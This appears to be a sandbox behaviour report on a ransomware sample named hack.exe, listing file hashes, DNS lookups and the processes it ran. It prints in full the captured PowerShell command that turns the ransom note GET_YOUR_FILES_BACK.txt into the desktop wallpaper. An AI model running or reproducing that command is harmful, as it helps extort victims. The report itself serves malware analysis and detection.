powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2013740206.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 133.130.81.91.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI8162\python311.dll

MD5 9a24c8c35e4ac4b1597124c1dcbebe0f
SHA1 f59782a4923a30118b97e01a7f8db69b92d8382a
SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
SHA512 9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

C:\Users\Admin\AppData\Local\Temp\_MEI8162\VCRUNTIME140.dll

MD5 f12681a472b9dd04a812e16096514974
SHA1 6fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA512 7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

C:\Users\Admin\AppData\Local\Temp\_MEI8162\base_library.zip

MD5 9836732a064983e8215e2e26e5b66974
SHA1 02e9a46f5a82fa5de6663299512ca7cd03777d65
SHA256 3dfe7d63f90833e0f3de22f450ed5ee29858bb12fe93b41628afe85657a3b61f
SHA512 1435ba9bc8d35a9336dee5db06944506953a1bcf340e9bdad834828170ce826dcfb1fa80274cd9df667e47b83348139b38ab317055a5a3e6824df15adf8a4d86

C:\Users\Admin\AppData\Local\Temp\_MEI8162\_decimal.pyd

MD5 d47e6acf09ead5774d5b471ab3ab96ff
SHA1 64ce9b5d5f07395935df95d4a0f06760319224a2
SHA256 d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e
SHA512 52e132ce94f21fa253fed4cf1f67e8d4423d8c30224f961296ee9f64e2c9f4f7064d4c8405cd3bb67d3cf880fe4c21ab202fa8cf677e3b4dad1be6929dbda4e2

C:\Users\Admin\AppData\Local\Temp\_MEI8162\_socket.pyd

MD5 8140bdc5803a4893509f0e39b67158ce
SHA1 653cc1c82ba6240b0186623724aec3287e9bc232
SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
SHA512 d0878fee92e555b15e9f01ce39cfdc3d6122b41ce00ec3a4a7f0f661619f83ec520dca41e35a1e15650fb34ad238974fe8019577c42ca460dde76e3891b0e826

C:\Users\Admin\AppData\Local\Temp\_MEI8162\_lzma.pyd

MD5 337b0e65a856568778e25660f77bc80a
SHA1 4d9e921feaee5fa70181eba99054ffa7b6c9bb3f
SHA256 613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
SHA512 19e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e

C:\Users\Admin\AppData\Local\Temp\_MEI8162\_hashlib.pyd

MD5 de4d104ea13b70c093b07219d2eff6cb
SHA1 83daf591c049f977879e5114c5fea9bbbfa0ad7b
SHA256 39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e
SHA512 567f703c2e45f13c6107d767597dba762dc5caa86024c87e7b28df2d6c77cd06d3f1f97eed45e6ef127d5346679fea89ac4dc2c453ce366b6233c0fa68d82692

C:\Users\Admin\AppData\Local\Temp\_MEI8162\_bz2.pyd

MD5 4101128e19134a4733028cfaafc2f3bb
SHA1 66c18b0406201c3cfbba6e239ab9ee3dbb3be07d
SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
SHA512 4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca

C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe

MD5 e27b5291c8fb2dfdeb7f16bb6851df5e
SHA1 40207f83b601cd60905c1f807ac0889c80dfe33f
SHA256 ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA512 2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

C:\Users\Admin\AppData\Local\Temp\_MEI8162\unicodedata.pyd

MD5 bc58eb17a9c2e48e97a12174818d969d
SHA1 11949ebc05d24ab39d86193b6b6fcff3e4733cfd
SHA256 ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa
SHA512 4aa2b2ce3eb47503b48f6a888162a527834a6c04d3b49c562983b4d5aad9b7363d57aef2e17fe6412b89a9a3b37fb62a4ade4afc90016e2759638a17b1deae6c

C:\Users\Admin\AppData\Local\Temp\_MEI8162\select.pyd

MD5 97ee623f1217a7b4b7de5769b7b665d6
SHA1 95b918f3f4c057fb9c878c8cc5e502c0bd9e54c0
SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
SHA512 20edc7eae5c0709af5c792f04a8a633d416da5a38fc69bd0409afe40b7fb1afa526de6fe25d8543ece9ea44fd6baa04a9d316ac71212ae9638bdef768e661e0f

C:\Users\Admin\AppData\Local\Temp\_MEI8162\libcrypto-1_1.dll

MD5 6f4b8eb45a965372156086201207c81f
SHA1 8278f9539463f0a45009287f0516098cb7a15406
SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
SHA512 2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

C:\GET_YOUR_FILES_BACK.txt

MD5 c92c2b70fb37f84aab38412ad9226aa8
SHA1 14f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256 d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA512 04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

memory/48676-16189-0x0000029BD2B00000-0x0000029BD2B22000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gdefco5v.z3h.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 eb6332ae9e8fec69c2236355e2638f9d
SHA1 71500d57fb304979afd6756f06d4b9a59f995eb7
SHA256 88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32
SHA512 e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed